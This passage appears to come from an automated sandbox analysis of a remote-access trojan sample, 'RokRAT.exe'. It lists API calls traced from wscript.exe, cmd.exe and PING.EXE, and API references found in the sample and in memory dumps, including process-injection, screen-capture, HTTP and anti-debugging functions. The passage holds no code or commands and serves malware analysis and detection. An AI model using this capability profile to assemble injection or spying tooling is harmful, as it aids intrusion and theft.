parameter ExitProcess (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter RtlUnwind (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetStartupInfoW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SetUnhandledExceptionFilter (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter UnhandledExceptionFilter (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter EnterCriticalSection (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter LeaveCriticalSection (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter TlsAlloc (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter TlsGetValue (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter TlsSetValue (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter TlsFree (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetSystemTimeAsFileTime (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetStringTypeW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter LCMapStringW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetLocaleInfoW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetCPInfo (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter OutputDebugStringW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WaitForSingleObjectEx (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ShellExecuteA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpQueryDataAvailable (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpCrackUrl (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpSendRequest (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpWriteData (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpSetOption (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpConnect (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpOpenRequest (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpReadData (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpQueryHeaders (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpAddRequestHeaders (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WinHttpReceiveResponse (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter NotifyWinEvent (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter HttpQueryInfoA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter InternetOpenUrlA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter InternetCloseHandle (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter InternetReadFile (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter InternetOpenA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GdipSaveImageToFile (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GdipFree (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GdipDisposeImage (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromHBITMAP (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GdipAlloc (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GdipCloneImage (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GdipGetImageEncoders (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GdiplusShutdown (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GdipGetImageEncodersSize (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter VerQueryValueA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00004360) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007960) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007960) "PING.EXE" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006644) "PING.EXE" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006644)2c:Tcdaf,Found reference to API (Indicator: "EncodePointer"; File: "RokRAT.exe") Found reference to API (Indicator: "DecodePointer"; File: "RokRAT.exe") Found reference to API (Indicator: "FlsFree"; File: "RokRAT.exe") Found reference to API (Indicator: "FlsSetValue"; File: "RokRAT.exe") Found reference to API (Indicator: "FlsGetValue"; File: "RokRAT.exe") Found reference to API (Indicator: "FlsAlloc"; File: "RokRAT.exe") Found reference to API (Indicator: "GetProcessWindowStation"; File: "RokRAT.exe") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "RokRAT.exe") Found reference to API (Indicator: "GetLastActivePopup"; File: "RokRAT.exe") Found reference to API (Indicator: "GetActiveWindow"; File: "RokRAT.exe") Found reference to API (Indicator: "MessageBoxA"; File: "RokRAT.exe") Found reference to API (Indicator: "FindResourceW"; File: "RokRAT.exe") Found reference to API (Indicator: "LoadResource"; File: "RokRAT.exe") Found reference to API (Indicator: "CreateProcessW"; File: "RokRAT.exe") Found reference to API (Indicator: "GetTickCount"; File: "RokRAT.exe") Found reference to API (Indicator: "CreateRemoteThread"; File: "RokRAT.exe") Found reference to API (Indicator: "Sleep"; File: "RokRAT.exe") Found reference to API (Indicator: "SizeofResource"; File: "RokRAT.exe") Found reference to API (Indicator: "CreateProcessA"; File: "RokRAT.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "RokRAT.exe") Found reference to API (Indicator: "GetTempPathW"; File: "RokRAT.exe") Found reference to API (Indicator: "VirtualAllocEx"; File: "RokRAT.exe") Found reference to API (Indicator: "LockResource"; File: "RokRAT.exe") Found reference to API (Indicator: "CloseHandle"; File: "RokRAT.exe") Found reference to API (Indicator: "WriteProcessMemory"; File: "RokRAT.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "RokRAT.exe") Found reference to API (Indicator: "GetProcAddress"; File: "RokRAT.exe") Found reference to API (Indicator: "ExitProcess"; File: "RokRAT.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "RokRAT.exe") Found reference to API (Indicator: "TerminateProcess"; File: "RokRAT.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "RokRAT.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "RokRAT.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "RokRAT.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "RokRAT.exe") Found reference to API (Indicator: "TlsGetValue"; File: "RokRAT.exe") Found reference to API (Indicator: "TlsAlloc"; File: "RokRAT.exe") Found reference to API (Indicator: "TlsSetValue"; File: "RokRAT.exe") Found reference to API (Indicator: "TlsFree"; File: "RokRAT.exe") Found reference to API (Indicator: "InterlockedIncrement"; File: "RokRAT.exe") Found reference to API (Indicator: "SetLastError"; File: "RokRAT.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "RokRAT.exe") Found reference to API (Indicator: "GetLastError"; File: "RokRAT.exe") Found reference to API (Indicator: "InterlockedDecrement"; File: "RokRAT.exe") Found reference to API (Indicator: "WriteFile"; File: "RokRAT.exe") Found reference to API (Indicator: "GetStdHandle"; File: "RokRAT.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "RokRAT.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "RokRAT.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "RokRAT.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "RokRAT.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "RokRAT.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "RokRAT.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "RokRAT.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "RokRAT.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "RokRAT.exe") Found reference to API (Indicator: "SetHandleCount"; File: "RokRAT.exe") Found reference to API (Indicator: "GetFileType"; File: "RokRAT.exe") Found reference to API (Indicator: "GetStartupInfoA"; File: "RokRAT.exe") Found reference to API (Indicator: "HeapCreate"; File: "RokRAT.exe") Found reference to API (Indicator: "VirtualFree"; File: "RokRAT.exe") Found reference to API (Indicator: "HeapFree"; File: "RokRAT.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "RokRAT.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "RokRAT.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "RokRAT.exe") Found reference to API (Indicator: "SetFilePointer"; File: "RokRAT.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "RokRAT.exe") Found reference to API (Indicator: "GetConsoleCP"; File: "RokRAT.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "RokRAT.exe") Found reference to API (Indicator: "GetCPInfo"; File: "RokRAT.exe") Found reference to API (Indicator: "GetACP"; File: "RokRAT.exe") Found reference to API (Indicator: "GetOEMCP"; File: "RokRAT.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "RokRAT.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "RokRAT.exe") Found reference to API (Indicator: "HeapSize"; File: "RokRAT.exe") Found reference to API (Indicator: "RtlUnwind"; File: "RokRAT.exe") Found reference to API (Indicator: "GetLocaleInfoA"; File: "RokRAT.exe") Found reference to API (Indicator: "HeapAlloc"; File: "RokRAT.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "RokRAT.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "RokRAT.exe") Found reference to API (Indicator: "SetStdHandle"; File: "RokRAT.exe") Found reference to API (Indicator: "WriteConsoleA"; File: "RokRAT.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "RokRAT.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "RokRAT.exe") Found reference to API (Indicator: "LCMapStringA"; File: "RokRAT.exe") Found reference to API (Indicator: "LCMapStringW"; File: "RokRAT.exe") Found reference to API (Indicator: "GetStringTypeA"; File: "RokRAT.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "RokRAT.exe") Found reference to API (Indicator: "CreateFileA"; File: "RokRAT.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "RokRAT.exe") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FlushProcessWriteBuffers"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumber"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WakeConditionVariable"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "InitializeSRWLock"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 